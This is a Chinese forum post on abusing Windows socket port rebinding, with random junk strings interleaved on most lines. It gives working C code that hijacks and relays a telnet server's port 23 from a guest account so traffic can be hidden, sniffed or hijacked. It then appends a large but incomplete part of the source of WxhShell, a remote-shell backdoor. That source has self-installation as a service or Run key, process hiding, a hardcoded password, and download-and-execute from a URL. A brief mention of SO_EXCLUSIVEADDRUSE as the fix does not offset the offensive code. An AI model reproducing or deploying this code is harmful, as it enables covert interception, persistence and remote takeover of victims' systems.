社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 14571阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Vq?p|wy  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5}]"OXQ  
/}  WDU  
  saddr.sin_family = AF_INET; u5 : q$P  
 &NK,VB;  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); JYd 'Jp8bP  
VAf1" )pC  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 9Ujo/3,Ak  
LNpup`>`  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~SF<,-Kg  
`_RTw5{  
  这意味着什么?意味着可以进行如下的攻击: kDN:ep{/  
E5xzy/ZQ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1Y@Aixx  
iS Gq!D  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =&2 Lb  
N<|Nwq:NN  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 orfO^;qTY  
C=It* j55  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  K]0:?h;%Ld  
Q[pV!CH  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 vUU9$x  
M)N?qRD  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 C/kW0V7  
n3Z 5t  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  L0@SCt  
O 8u j`G 9  
  #include 7~aM=8r  
  #include FUOI3  
  #include 3`.7<f`  
  #include    ReI/]#Us  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;\Y& ce  
  int main() dhr3,&+T2  
  { M&U j^K1  
  WORD wVersionRequested; ;YX4:OBqr  
  DWORD ret; ez^@NK  
  WSADATA wsaData; _/!y)&4"  
  BOOL val; YmgLzGk`  
  SOCKADDR_IN saddr; :1^R9yWA4  
  SOCKADDR_IN scaddr; ,7NZu0  
  int err; : b~6i%b  
  SOCKET s; M9@ri^x  
  SOCKET sc; >W`4aA  
  int caddsize; xA$nsZ]  
  HANDLE mt; @reeO=  
  DWORD tid;   1/-43B  
  wVersionRequested = MAKEWORD( 2, 2 ); &2zq%((r  
  err = WSAStartup( wVersionRequested, &wsaData ); tAte)/0C  
  if ( err != 0 ) { mB9r3[  
  printf("error!WSAStartup failed!\n"); GBFtr   
  return -1; x{c/$+Z[  
  } i35=Y~P-  
  saddr.sin_family = AF_INET; `Ru3L#@  
   -'BA{#e}L  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 5~WGZc  
,gOOiB }  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); D{4YxR PX  
  saddr.sin_port = htons(23); x,S P'fcP  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R&';Oro  
  { FMkzrs  
  printf("error!socket failed!\n"); 8o 0%@5M  
  return -1; hq/k*;  
  } ]U7KLUY>:  
  val = TRUE; eT8}  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 "=za??\K}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >Ll$p 0W  
  { | j a-  
  printf("error!setsockopt failed!\n"); 9*=W-v  
  return -1; >P $;79<  
  } 2hQ>:  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;  \qR %%S  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 [.*;6y3  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 0`A~HH}  
V-r3-b  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $aPfGZ<i  
  { XNb ZNaAd  
  ret=GetLastError(); AT)a :i  
  printf("error!bind failed!\n"); SdwS= (e6  
  return -1; 0 Ir<y  
  } lmSo8/%T  
  listen(s,2); dVo.Czyd  
  while(1) _fP&&}  
  { /q$,'^.A  
  caddsize = sizeof(scaddr); 8Bq!4uq\5|  
  //接受连接请求 {]]|5 \F  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); P7f,OY<@%o  
  if(sc!=INVALID_SOCKET) gxMfu?zk"  
  { =.`qixN  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); rf%7b8[v  
  if(mt==NULL) k` (jkbEZ  
  { 5pRV 3K{H  
  printf("Thread Creat Failed!\n"); JQ-gn^tsy  
  break; F5qFYL;  
  } :BGA.  
  } okFvn;  
  CloseHandle(mt); vuFBET,  
  } {?}*1,I  
  closesocket(s); K[7EOXLy  
  WSACleanup(); yj(vkifEB  
  return 0; y{a$y}7#X  
  }   @Ehn(}  
  DWORD WINAPI ClientThread(LPVOID lpParam) `H3.,]  
  { 34R!x6W0  
  SOCKET ss = (SOCKET)lpParam; ]}6w#)]"  
  SOCKET sc; ;u(Du-Os!  
  unsigned char buf[4096]; ^Mk%z9 ?  
  SOCKADDR_IN saddr; W Qc>  
  long num; '2-oh  
  DWORD val; P0-Fc@&Y  
  DWORD ret; #s%-INcR  
  //如果是隐藏端口应用的话,可以在此处加一些判断 M8b4NF_&  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   45H!;Q sk  
  saddr.sin_family = AF_INET; `j9$T:`  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); }Y17*zp%  
  saddr.sin_port = htons(23); M#@aB"@J>  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M-uMZQ e  
  { tB' V  
  printf("error!socket failed!\n"); 0J8K9rP;z  
  return -1; <d7V<&@o=  
  } qJ_1*!!91  
  val = 100; Bz`yfl2  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) JkA|Qdj~Mr  
  { V=:_d,  
  ret = GetLastError(); <vbIp&  
  return -1; ? QDWuPhN  
  } J%]D%2vnk`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) da$BUAqU  
  { Ab1/.~^  
  ret = GetLastError(); S2VVv$r_6  
  return -1; B )JM%r  
  } qUF1XJZ }z  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) J:F^ #gW  
  { oT|m1aGE  
  printf("error!socket connect failed!\n"); qOG}[%<^n7  
  closesocket(sc); dy>|c j  
  closesocket(ss); hD<f3_k  
  return -1; 0D(cXzQP  
  } %E27.$E_  
  while(1) HpexH{.u)  
  { #rYENR[  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ELh3 ^  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 lg1PE7  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 $'[q4wo<  
  num = recv(ss,buf,4096,0); r5/R5Ga^  
  if(num>0) P l{QOR  
  send(sc,buf,num,0); swpnuuC-  
  else if(num==0) w9#R'  
  break; 5`E))?*"Pe  
  num = recv(sc,buf,4096,0); }1%r%TikY  
  if(num>0) 1ZKzumF  
  send(ss,buf,num,0); twk&-:'  
  else if(num==0) M} .b" ljZ  
  break; | D.C!/69  
  } p`+VrcCBOd  
  closesocket(ss); xT F=Y_  
  closesocket(sc); nb@"?<L!  
  return 0 ; =V^@%YIn  
  } 5su.+4z\  
$<ddy/4  
BEw{X|7  
========================================================== KC&`x |  
v29G:YQe  
下边附上一个代码,,WXhSHELL @PcCiGZ  
B[xR-6phW  
========================================================== ,{j4  
BQjam+u6  
#include "stdafx.h" t^@T`2jL  
=%h~/,  
#include <stdio.h> B2hfD-h,>  
#include <string.h> }#aKFcvg  
#include <windows.h> R^Bk]  
#include <winsock2.h> wR7aQg  
#include <winsvc.h> LC'2q*:'  
#include <urlmon.h> AQci,j"  
*:arva5  
#pragma comment (lib, "Ws2_32.lib") lvufkVG|  
#pragma comment (lib, "urlmon.lib") @ u1Q-:  
?*K<*wBw#  
#define MAX_USER   100 // 最大客户端连接数 z Z%/W)t  
#define BUF_SOCK   200 // sock buffer Jqg3.2q  
#define KEY_BUFF   255 // 输入 buffer dB`b9)Tk0z  
VBx,iuaw  
#define REBOOT     0   // 重启 I>((o`  
#define SHUTDOWN   1   // 关机 MCAXt1sL&E  
hh&Js'd  
#define DEF_PORT   5000 // 监听端口 ~R!gJTO9  
?0npEz|  
#define REG_LEN     16   // 注册表键长度 $GF&x>]]  
#define SVC_LEN     80   // NT服务名长度 W#45a.v  
mG}k 3e-  
// 从dll定义API .S|-4}G(6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p}8ratmN  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); y#r\b6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {Tx 3$eU  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B&nw#saz.  
l\U*sro<  
// wxhshell配置信息 s?<!&Y  
struct WSCFG { M+UMR+K  
  int ws_port;         // 监听端口 t~~r-V":  
  char ws_passstr[REG_LEN]; // 口令 2B'^`>+8S  
  int ws_autoins;       // 安装标记, 1=yes 0=no W]~ZkQ|P  
  char ws_regname[REG_LEN]; // 注册表键名 Nz @8  
  char ws_svcname[REG_LEN]; // 服务名 X)NWX9^;'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  . X0t"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 D JJZJ}7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 J/gQQ. s  
int ws_downexe;       // 下载执行标记, 1=yes 0=no mdt ?:F4Q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" WFpl1O73  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j@V $Mbv  
4I1K vN<A  
}; Fi k@hu  
iDR6?fP  
// default Wxhshell configuration {"\q(R0  
struct WSCFG wscfg={DEF_PORT, ]kH}lr yG  
    "xuhuanlingzhe", :28@J?jjO  
    1, "9 u-lcQ\  
    "Wxhshell", zCM^r <Kr  
    "Wxhshell", ^s.oZj q  
            "WxhShell Service", &{hc   
    "Wrsky Windows CmdShell Service", z,os MS  
    "Please Input Your Password: ", e Ri!\Fx  
  1, ,iohfZz  
  "http://www.wrsky.com/wxhshell.exe", hF9B?@n?B  
  "Wxhshell.exe" YN`UTi\s  
    }; Q{`@ G"'  
}RH lYN  
// 消息定义模块 f!^)!~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *+&z|Pwv[^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; j@_nI~7f}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `GP3 D~  
char *msg_ws_ext="\n\rExit."; Vz k cZK  
char *msg_ws_end="\n\rQuit."; H.)fO ctbO  
char *msg_ws_boot="\n\rReboot..."; 6O%=G3I  
char *msg_ws_poff="\n\rShutdown..."; @],Z 2  
char *msg_ws_down="\n\rSave to "; Bac?'ypm  
^]KIgGv\  
char *msg_ws_err="\n\rErr!"; ?! _u,sT  
char *msg_ws_ok="\n\rOK!"; yi&?d&rK  
-uO%[/h;N  
char ExeFile[MAX_PATH]; [6oq##  
int nUser = 0; |F3vRt@  
HANDLE handles[MAX_USER]; jDFp31_X  
int OsIsNt; 2c!h2$w  
d|R HG  
SERVICE_STATUS       serviceStatus; K@y-)I2]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; X"laZd947>  
Hu[8HzJo  
// 函数声明 xAFek;GY?  
int Install(void); .Y+mwvLpRG  
int Uninstall(void); 7^`RP e^a+  
int DownloadFile(char *sURL, SOCKET wsh); Qu!OV]Cc  
int Boot(int flag); |Tj`qJGVw  
void HideProc(void); S6= \r{V  
int GetOsVer(void); Y=PzN3  
int Wxhshell(SOCKET wsl); cq- e c7  
void TalkWithClient(void *cs); _a?wf!4>P  
int CmdShell(SOCKET sock); ,P;8 }yQ  
int StartFromService(void); W,0KBkkp  
int StartWxhshell(LPSTR lpCmdLine); :zRB)hd  
Vj?*= UL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -Pv P  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); cYBrRTrI#  
h[vAU 9f)  
// 数据结构和表定义 ?*B;514  
SERVICE_TABLE_ENTRY DispatchTable[] = g{rt^B  
{ pT|./ Fe  
{wscfg.ws_svcname, NTServiceMain}, @G^j8Nl+J}  
{NULL, NULL} _Y}^%eFw  
}; &Z;Eu'ia  
Y}eZPG.h  
// 自我安装 yQ72v'  
int Install(void) ,C5@ P+A  
{ H620vlC}V  
  char svExeFile[MAX_PATH]; Yb,G^+;  
  HKEY key; NB~*sP-l&  
  strcpy(svExeFile,ExeFile); #JX|S'\x  
.H*? '*  
// 如果是win9x系统,修改注册表设为自启动 ua6*zop  
if(!OsIsNt) { AX!Md:s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o.v,n1Nm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BV_a-\Sa=  
  RegCloseKey(key); > 2!^ dT^D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SLbavP#G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :Kt{t46)  
  RegCloseKey(key); N^@%qUvT]  
  return 0; .)oQM:F (h  
    } 1tuator  
  } VLl&>Pbe-  
} \!? PhNv  
else { FQv02V+&<  
q[We][Nrzb  
// 如果是NT以上系统,安装为系统服务 4cv|ok8P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); M[&.kH  
if (schSCManager!=0) $n_sGr  
{ kC,DW%Ls  
  SC_HANDLE schService = CreateService 8. ~Euz  
  ( qrORP3D@  
  schSCManager, w|3fioLs  
  wscfg.ws_svcname, 7ZR0M&pX  
  wscfg.ws_svcdisp, A=l?IC@O  
  SERVICE_ALL_ACCESS, 'h+4zvI"8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8tB{rK,  
  SERVICE_AUTO_START, ] "7El;2z  
  SERVICE_ERROR_NORMAL, +L<w."WG  
  svExeFile, a'L7y%  
  NULL, PT= 2LZ  
  NULL,  T!O3(  
  NULL, TO;]9`~;Mu  
  NULL, ,m_&eF  
  NULL LO Yyj?^7  
  ); L2Qp6A6S  
  if (schService!=0) 'TEwU0<%  
  { p-ii($~ }  
  CloseServiceHandle(schService); PhaQ3%  
  CloseServiceHandle(schSCManager);  &~f*q?xR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  4pOc`  
  strcat(svExeFile,wscfg.ws_svcname); Mz#S5 s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { sC'A_-'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); A?<"^<A^  
  RegCloseKey(key); {Rh+]=7  
  return 0; 62KW HB9S  
    } ok W)s*7  
  } j4hUPL7  
  CloseServiceHandle(schSCManager); }j5@\c48  
} #)c;i<Q3S  
} ZYp-dlEXq  
?R~Ye  
return 1; Y$DgL h  
} %#;(]7Zq  
-V)5Tr=  
// 自我卸载 P#'DGW&W0  
int Uninstall(void) s(DaPhL6Qm  
{ )a2m<"  
  HKEY key; 2QQYXJ^  
Zm'::+ tl  
if(!OsIsNt) { X<bj2 w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /$N#_Xblr  
  RegDeleteValue(key,wscfg.ws_regname); Kps GQM  
  RegCloseKey(key); ri_6 wbPp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bTYP{x~ y  
  RegDeleteValue(key,wscfg.ws_regname); 'jO-e^qT  
  RegCloseKey(key); za 4B+&JJ  
  return 0; j~<iTLM  
  } 6P[O8  
} ~$`YzK^*X  
} t7`Pw33#kY  
else {  /o3FK  
T<~[vjA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); sA7K ;J})  
if (schSCManager!=0) .Af)y_  
{ +c2=*IA/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1$!K2=%OXj  
  if (schService!=0) (E]K)d  
  { %>}7 $Y%  
  if(DeleteService(schService)!=0) { MrjB[3Td  
  CloseServiceHandle(schService); 9>Z#o<*_/  
  CloseServiceHandle(schSCManager); E MbI\=>yS  
  return 0; xaaxj  
  } Xg)FIaw]eT  
  CloseServiceHandle(schService); "4- Nnm  
  } Ji?UG@  
  CloseServiceHandle(schSCManager); cB'4{R@e  
} -]MP,P%  
} w3hL.Z,kV  
0-O.*Q^  
return 1; @Bwl)G!|  
} fmyS# 6"  
T1TZ+ \  
// 从指定url下载文件 F?4'>ZW  
int DownloadFile(char *sURL, SOCKET wsh) zL{@LHP  
{ Z ' 96d  
  HRESULT hr; x1ex}_\  
char seps[]= "/"; _Dt TG<E  
char *token; yU lQPrNX  
char *file; =!Cvu.~},  
char myURL[MAX_PATH]; Bnc  
char myFILE[MAX_PATH]; mTbPz Z4  
:Bc;.%  
strcpy(myURL,sURL); RH0a\RC!G  
  token=strtok(myURL,seps); _ !vbX mb  
  while(token!=NULL) hkc_>F]Hx  
  { 1Tkdr 2  
    file=token; ~hX'FV  
  token=strtok(NULL,seps); 2}#PDh n  
  } M_uij$1-  
a OHAG  
GetCurrentDirectory(MAX_PATH,myFILE); OOwJ3I >]>  
strcat(myFILE, "\\"); Y'R1\Go-  
strcat(myFILE, file); ;sJ2K"c  
  send(wsh,myFILE,strlen(myFILE),0); S-dV  
send(wsh,"...",3,0); f>PU# D@B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k}gs;|_  
  if(hr==S_OK) $SgD| 9  
return 0; 351'l7F\  
else 2%H( a)  
return 1; a#$%xw  
zW.sXV,  
} 6<6_W#  
6Z=H>w  
// 系统电源模块 wkw/AZ{27  
int Boot(int flag) 4'*K\Ul).H  
{ wtyu"=  
  HANDLE hToken; XCoOs<O:@  
  TOKEN_PRIVILEGES tkp; .? / J  
4[wP$  
  if(OsIsNt) { QI<3N  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :Tl?yG F  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \x}UjHYIc&  
    tkp.PrivilegeCount = 1; Uk4">]oct  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5#PhaVc  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ya=51~ by"  
if(flag==REBOOT) { '@P[fSQ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) M IJ~j><L  
  return 0; p IToy;]  
} Y#,MFEd  
else { :SGQ4@BV  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6h%(0=^  
  return 0; ]Re<7_xt  
} kzu=-@s  
  } &2J|v#$F  
  else { ,8 seoX^  
if(flag==REBOOT) { NGu]|p  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E%N]t} }[  
  return 0; I6_+3}Hm{  
} !/SFEL@_B  
else { y-mmc}B>N  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G 2##M8:U0  
  return 0; h?sh#j6  
} 9)qx0  
} =v8q  
+]X^bB[  
return 1; -|5&3HVz  
} 9viC3bj.o  
 "d'@IN  
// win9x进程隐藏模块 ;A_QI>>  
void HideProc(void) js j" W&J  
{ ;_!;D#:  
'4iu0ie>D  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5ym =2U  
  if ( hKernel != NULL ) bZ)Jgz  
  { eM}Xn^}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); : SNp"|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \;]~K6=  
    FreeLibrary(hKernel); (`&g  
  } O;~1M3Ii  
1<*-, f  
return; Rs dACP   
} OoE@30+  
<q|19fH-5  
// 获取操作系统版本 t0Uax-E(  
int GetOsVer(void) BmZd,}{  
{ fqi5 84  
  OSVERSIONINFO winfo; <_+8c{G  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I?=Q *og  
  GetVersionEx(&winfo); {pqm&PB04  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q(C+D%xB  
  return 1; li'#< "R?'  
  else P)3e^~+A  
  return 0; ppxu\a  
} jGt[[s  
q8U]Hyp(`  
// 客户端句柄模块 +XsY*$O  
int Wxhshell(SOCKET wsl) KF.?b]  
{ _+GCd8d  
  SOCKET wsh; ;fuy}q8@7  
  struct sockaddr_in client; ?D#Vha  
  DWORD myID; OHB!ec6W  
fQ<V_loP.@  
  while(nUser<MAX_USER) iS"rMgq  
{ >o@WT kF]  
  int nSize=sizeof(client); ~ 60J  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); wFh{\  
  if(wsh==INVALID_SOCKET) return 1; `H\^#Zu  
 hHdC/mR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yd2ouCUV  
if(handles[nUser]==0) sGV%O=9?2  
  closesocket(wsh); kWWb<WRW:  
else 2D "mq~ V  
  nUser++; _:{XL c  
  } L%!jj7,9-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2rA`y8g(L  
&AW?!rH  
  return 0; ?R";EnD  
} I` /'\cU9  
wsM5T B  
// 关闭 socket xX}vx hN  
void CloseIt(SOCKET wsh) K2&pTA~OR  
{ tL D.e  
closesocket(wsh); hd\iW7  
nUser--; hF6EOCY6D  
ExitThread(0); <#:"vnm$j  
} Q|:\  
2+0'vIw}  
// 客户端请求句柄 B;^7Yu0,  
void TalkWithClient(void *cs) \ ddbqg?`  
{ fY\QI =  
1'M< {h<sP  
  SOCKET wsh=(SOCKET)cs; g!4"3Dtdg  
  char pwd[SVC_LEN]; P*G&pitT  
  char cmd[KEY_BUFF]; R(3V ! ph  
char chr[1]; xEGI'lt  
int i,j; |Zz3X  
^oM*f{9  
  while (nUser < MAX_USER) { FD[* mCGZ  
<vOljo  
if(wscfg.ws_passstr) { <Cm:4)~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  s(F^P  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]x! vPIyq  
  //ZeroMemory(pwd,KEY_BUFF); W&)O i ZN  
      i=0; aHS.U^2  
  while(i<SVC_LEN) { BT >8  
SxNs  
  // 设置超时 P5kkaLzG  
  fd_set FdRead; VMsAT3^w  
  struct timeval TimeOut; pz~AsF  
  FD_ZERO(&FdRead); ;DBO  
  FD_SET(wsh,&FdRead); XswEAz0=  
  TimeOut.tv_sec=8; H"6:!;9,  
  TimeOut.tv_usec=0; oljl&tuQy  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 27}k63\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); OP{ d(~+  
'Q?nU^:F#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a'rN&*P  
  pwd=chr[0]; =]E;wWC  
  if(chr[0]==0xd || chr[0]==0xa) { q#F;GD  
  pwd=0; YB.r-c"Y  
  break; eLM_?9AZ!R  
  } |&o%c/  
  i++; p~En~?<  
    } ~"iCx+pr  
/&Khk #  
  // 如果是非法用户,关闭 socket  Hi|'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 77.5 _  
} N_UZu  
vH9/}w2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ts aD5B  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }2-{4JIq}  
:;#Kg_bz  
while(1) { mN!>BqvN  
o *S"`_   
  ZeroMemory(cmd,KEY_BUFF); ~W_m<#K(  
\2*<Pq  
      // 自动支持客户端 telnet标准   8J7 xs6@  
  j=0; ?yU|;my  
  while(j<KEY_BUFF) { s-J>(|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S2@[F\|r  
  cmd[j]=chr[0]; 4hr;k0sD  
  if(chr[0]==0xa || chr[0]==0xd) { FU E/uh  
  cmd[j]=0; W -8<sv$b  
  break; H*?U@>UU  
  } ]4@_KKP  
  j++; pdngM 8n  
    } @q}.BcSg  
u yzc"d i  
  // 下载文件 ^8a,gA8.  
  if(strstr(cmd,"http://")) { ![18+Q\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Nc ,"wA  
  if(DownloadFile(cmd,wsh)) TwqyQ49  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); D\jRF-z  
  else Eg FV  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (dLt$<F  
  } QS4sSua  
  else { J$%mG*Y(  
?54=TA|5`F  
    switch(cmd[0]) { U"v(9m@  
  wWKC.N  
  // 帮助 zQMsS  
  case '?': { .9#4qoM'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]8NNxaE3(  
    break; h \hQ  
  } hWf Jh0I  
  // 安装 :Ag]^ot  
  case 'i': { eu@-v"=w  
    if(Install()) !h4S`2oZ/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z,M?!vK  
    else tKjPLi71  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w}c1zpa  
    break; fIu5d6;'  
    } vvU;55-  
  // 卸载 AU)"L_ i}  
  case 'r': { m\(4y Gj  
    if(Uninstall()) AyB-+oTf(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [ dpd-s  
    else +AhR7R!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W$O^IC  
    break; pk%I98! Jy  
    } ^>gRK*,  
  // 显示 wxhshell 所在路径 7Vr .&`l  
  case 'p': { &PI}o  
    char svExeFile[MAX_PATH]; d8`^;T ;}d  
    strcpy(svExeFile,"\n\r"); j#S>8: G  
      strcat(svExeFile,ExeFile); V@&zn8?  
        send(wsh,svExeFile,strlen(svExeFile),0); ,>A9OTSN\  
    break; z'=*pIY5f  
    } g dT3,8`#[  
  // 重启 sesr`,m.,  
  case 'b': { m(,vym t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "#z4  
    if(Boot(REBOOT)) y8HLrBTza  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TS^(<+'  
    else { }jBr[S5  
    closesocket(wsh); RXh0hD  
    ExitThread(0); $)\%i=  
    } \j !JRD+j  
    break; 5gARGA  
    } QMea2q|3$  
